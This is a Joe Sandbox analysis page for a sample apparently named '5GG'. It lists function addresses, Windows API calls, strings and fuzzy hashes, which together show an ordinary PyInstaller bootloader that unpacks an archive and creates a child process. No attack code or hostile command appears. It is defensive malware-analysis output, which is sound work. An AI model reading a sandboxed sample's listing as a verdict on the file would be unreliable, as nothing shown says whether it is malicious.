Could not read full TOC!, xrefs: 00007FF7E54A1C09
Error on file., xrefs: 00007FF7E54A1C36
fread, xrefs: 00007FF7E54A1B66, 00007FF7E54A1C10
Failed to seek to cookie position!, xrefs: 00007FF7E54A1B2C
malloc, xrefs: 00007FF7E54A1BDD
fseek, xrefs: 00007FF7E54A1B33

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: 846b52575a3e29ec6c17e049124d6bfaa2b8a30358e366607dda68b9dcda7143
Instruction ID: 47393fa311b166f4689fc805ab8f9895d3de96b2d44decc6436ad650d1cb8632
Opcode Fuzzy Hash: 846b52575a3e29ec6c17e049124d6bfaa2b8a30358e366607dda68b9dcda7143
Instruction Fuzzy Hash: 3A51B3B1A0960A86EB54EF24D460278B3A0EF8AF84BD04537D90CC7796EF3CE408C756

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A8080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E54A8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7E54A2ABB), ref: 00007FF7E54A8B1A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF7E54A3D52), ref: 00007FF7E54A80CF
GetStartupInfoW.KERNEL32 ref: 00007FF7E54A80EE

Part of subcall function 00007FF7E54BAA14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54BAA28

Part of subcall function 00007FF7E54B8630: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B8697

GetCommandLineW.KERNEL32 ref: 00007FF7E54A818E
CreateProcessW.KERNELBASE ref: 00007FF7E54A81D0
WaitForSingleObject.KERNEL32 ref: 00007FF7E54A81E4
GetExitCodeProcess.KERNEL32 ref: 00007FF7E54A81F4

Strings

CreateProcessW, xrefs: 00007FF7E54A8207
Error creating child process!, xrefs: 00007FF7E54A8200

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 43f1d35e7fbf24803adac071d2ce953c020152e2d40e2e5a1956faa0815d12d1
Instruction ID: 93b094bc247c4704d16da50b57f86db75dc213e5b3d634f2161cbcec7211c429
Opcode Fuzzy Hash: 43f1d35e7fbf24803adac071d2ce953c020152e2d40e2e5a1956faa0815d12d1
Instruction Fuzzy Hash: 28415731A0878541EA54AB64F4653AAF3A4FF95760F900336E5AD837D5DF7CD0488B11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A1000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E54A3EC0: GetModuleFileNameW.KERNEL32(?,00007FF7E54A39EA), ref: 00007FF7E54A3EF1

SetDllDirectoryW.KERNEL32 ref: 00007FF7E54A3BE9

Part of subcall function 00007FF7E54A7B60: GetEnvironmentVariableW.KERNEL32(00007FF7E54A3A1F), ref: 00007FF7E54A7B9A
Part of subcall function 00007FF7E54A7B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7E54A7BB7

Strings

_PYI_ONEDIR_MODE, xrefs: 00007FF7E54A3A34, 00007FF7E54A3A5F
MEI, xrefs: 00007FF7E54A3B1B
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF7E54A3AC6
Failed to convert DLL search path!, xrefs: 00007FF7E54A3BD1
_MEIPASS2, xrefs: 00007FF7E54A3A0B, 00007FF7E54A3A74, 00007FF7E54A3D22, 00007FF7E54A3D2E
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF7E54A3B60

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: c9ecf73f18be6e8d8c2144f5481575c5c07526bd72598f7fe97c7320a538aa96
Instruction ID: 0f70c519bfc474812fe9b96225ec737051b47f2e3ae7c1fb4ce6896dce6a14ec
Opcode Fuzzy Hash: c9ecf73f18be6e8d8c2144f5481575c5c07526bd72598f7fe97c7320a538aa96
Instruction Fuzzy Hash: E4B18551A1D68A41FAA5BB2194713B9D251BF86F84FC00133EA4DC769BFE3CE509C722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A1050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7E54A10F1
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7E54A10B4
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7E54A1249
1.2.13, xrefs: 00007FF7E54A107E
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7E54A111F
malloc, xrefs: 00007FF7E54A10F8, 00007FF7E54A1126

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: 3fc4a968dc5fc06f0f6dc5d7791a2a71ef73c6358e0f66958592dbb41e960bad
Instruction ID: 402847aa1bb3f252d736ace387947b957f0292d4f67e811da7801d0447b91075
Opcode Fuzzy Hash: 3fc4a968dc5fc06f0f6dc5d7791a2a71ef73c6358e0f66958592dbb41e960bad
Instruction Fuzzy Hash: 5151D672A0968A45E6A4BB51A4603BAA291FB86F94FC44533DD4DC7786FF3CE408C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BC01C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54BC449

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: be7416da91f84ed5bfdd546aa92e4ee07cb2f4e154380db95b5ab7bb0620c26f
Instruction ID: 20b4ffb71796df19101320ffc820f6ce86363f6c66404131dd63837812fd2650
Opcode Fuzzy Hash: be7416da91f84ed5bfdd546aa92e4ee07cb2f4e154380db95b5ab7bb0620c26f
Instruction Fuzzy Hash: 29C1C332A0C78B91EA94AB9594A07BDB654EB82F80FD50132DB4D87391DE7CE44D8723

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BD520 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7E54BD50B), ref: 00007FF7E54BD63C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7E54BD50B), ref: 00007FF7E54BD6C7

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 9c71bbc92960716eb9d411b0b48861d3e4dcea1db34bc3604978879cc3cc685b
Instruction ID: 5c26bc00e7b1d0cac08a749da9a05871b8716b31f5576bbe87b55d895a0d6318
Opcode Fuzzy Hash: 9c71bbc92960716eb9d411b0b48861d3e4dcea1db34bc3604978879cc3cc685b
Instruction Fuzzy Hash: 7691D872E0865985F790BFA594603FDABA0BB46F88F944177DE0E97684CF38D449C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BFCEC Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7E54BFDDC
_get_daylight.LIBCMT ref: 00007FF7E54BFDED
_get_daylight.LIBCMT ref: 00007FF7E54BFDFE
_isindst.LIBCMT ref: 00007FF7E54BFEC9

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 576313037ba361094b23b779854add166a997b8059c5947e2a7d8f77b38f16ad
Instruction ID: 70f24c5951b5fe282150f7e2a7e1d56f97588affbca4b7efc226cea1f42da5da
Opcode Fuzzy Hash: 576313037ba361094b23b779854add166a997b8059c5947e2a7d8f77b38f16ad
Instruction Fuzzy Hash: C4515733F0421A56FB54EFB498657BCA7A1AB42B58F900136DD1E82AD5DF38A409C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B5854 Relevance: 6.1, APIs: 4, Instructions: 119
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE ref: 00007FF7E54B5887
GetFileInformationByHandle.KERNELBASE ref: 00007FF7E54B58E9
GetLastError.KERNEL32 ref: 00007FF7E54B597A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF7E54B578C), ref: 00007FF7E54B59C6

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 76a0635d5597b22ce5d2941ff6046abd28e8f163941117926f9164ef5776c06c
Instruction ID: dc45018a0c69b7b1af751123fdad93361f2e1c10b50c13ee4c91adb66675bdb8
Opcode Fuzzy Hash: 76a0635d5597b22ce5d2941ff6046abd28e8f163941117926f9164ef5776c06c
Instruction Fuzzy Hash: 8951A332E087458AF794EFB0D4603BDB3A1AB45F58F504536DE4D87689EF38D4498722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AC07C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7E54AC08B

Part of subcall function 00007FF7E54AC24C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7E54AC26E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7E54AC0A0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7E54AC10E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7E54AC161

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 416c85195b1c4a12d0bca0f9f3e62a22dfdeb9afd9333f8228f8268f9139cf84
Instruction ID: dbabb8eecfd21b6e08862e4fc6b53a0cac1ea7616a15f03dfea89577f4524495
Opcode Fuzzy Hash: 416c85195b1c4a12d0bca0f9f3e62a22dfdeb9afd9333f8228f8268f9139cf84
Instruction Fuzzy Hash: AD310B21A0C14A41FAD4BB6594757B9A2919F43F84FC44437FA0ECB2D7EE3CA40C8623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B5700 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B572D
CreateFileW.KERNELBASE ref: 00007FF7E54B576C
CloseHandle.KERNEL32 ref: 00007FF7E54B57A1

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 4e99df99e7301f39d701a276f02ef329721f1d5d609599a82ba0c959db36bcb5
Instruction ID: 4a6543ff199bc36bdf185a06a2040a0ad09139b3b9245bfc11b2801ae9e87945
Opcode Fuzzy Hash: 4e99df99e7301f39d701a276f02ef329721f1d5d609599a82ba0c959db36bcb5
Instruction Fuzzy Hash: 9E41CA32E1878583F790AB6095603A9E360FF96B64F508336E65C43AD1EF7CA5E48711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B027C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B02C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B03B7

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7abeb8fe783ee1c87e05308e58bf334fc2d3c30e054771bdd4fe3d83d7422279
Instruction ID: a96246a850277be2100369ec6b1a4cf968d4eebcd265cd22b04bfd2a5e6a874c
Opcode Fuzzy Hash: 7abeb8fe783ee1c87e05308e58bf334fc2d3c30e054771bdd4fe3d83d7422279
Instruction Fuzzy Hash: B9514D31B0924946EAB9FEB5942477AE180BF42FA5F844732DD6C837C5CE3CE4089623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BB11C Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF7E54BAF99,?,?,00000000,00007FF7E54BB04E), ref: 00007FF7E54BB18A
GetLastError.KERNEL32(?,?,?,00007FF7E54BAF99,?,?,00000000,00007FF7E54BB04E), ref: 00007FF7E54BB194

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: b40b4e21971f44bf7084fa7db8f9dedbad63d491ac625d0e9d3072d74158efd6
Instruction ID: c1025e7f522baaf22cbbf90ec21e01ad59702f20fea83338648859bcaee1b9af
Opcode Fuzzy Hash: b40b4e21971f44bf7084fa7db8f9dedbad63d491ac625d0e9d3072d74158efd6
Instruction Fuzzy Hash: 42219531F1868A42FAD0BBA59474379A2815F86FD0F844236DA6EC73D5DE7CA44D4223

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BC6F4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7E54BC88D), ref: 00007FF7E54BC740
GetLastError.KERNEL32(?,?,?,?,?,00007FF7E54BC88D), ref: 00007FF7E54BC74A

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b08d68fc7a6d73a6a6e4925e4a9dc39ae2e5fb86b78546c657aad159ae176ccc
Instruction ID: df085831ddde8e38d41e58e43191c0765bf71c4567468eea52afce13f3709863
Opcode Fuzzy Hash: b08d68fc7a6d73a6a6e4925e4a9dc39ae2e5fb86b78546c657aad159ae176ccc
Instruction Fuzzy Hash: 89110431618B4681EA50AB25A454269F361AB86FF4F940332EEBD8B7D9CF3CD0498741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B59FC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54B5911), ref: 00007FF7E54B5A2F
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54B5911), ref: 00007FF7E54B5A45

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 01955a0fff7c8d04301666730a5fae84f6474b835d1eccbedadb07c42297a861
Instruction ID: e3a2c53ca700b1a773fce3f77952e53b87448f4dcdb3c9067eb815825a9bd0f3
Opcode Fuzzy Hash: 01955a0fff7c8d04301666730a5fae84f6474b835d1eccbedadb07c42297a861
Instruction Fuzzy Hash: 9911987260C64A81EB945B54A46127EF7A0FB8AB61F900236F69DC55D8EF3CD058CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BAF0C Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7E54C3392,?,?,?,00007FF7E54C33CF,?,?,00000000,00007FF7E54C3895,?,?,00000000,00007FF7E54C37C7), ref: 00007FF7E54BAF22
GetLastError.KERNEL32(?,?,?,00007FF7E54C3392,?,?,?,00007FF7E54C33CF,?,?,00000000,00007FF7E54C3895,?,?,00000000,00007FF7E54C37C7), ref: 00007FF7E54BAF2C

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

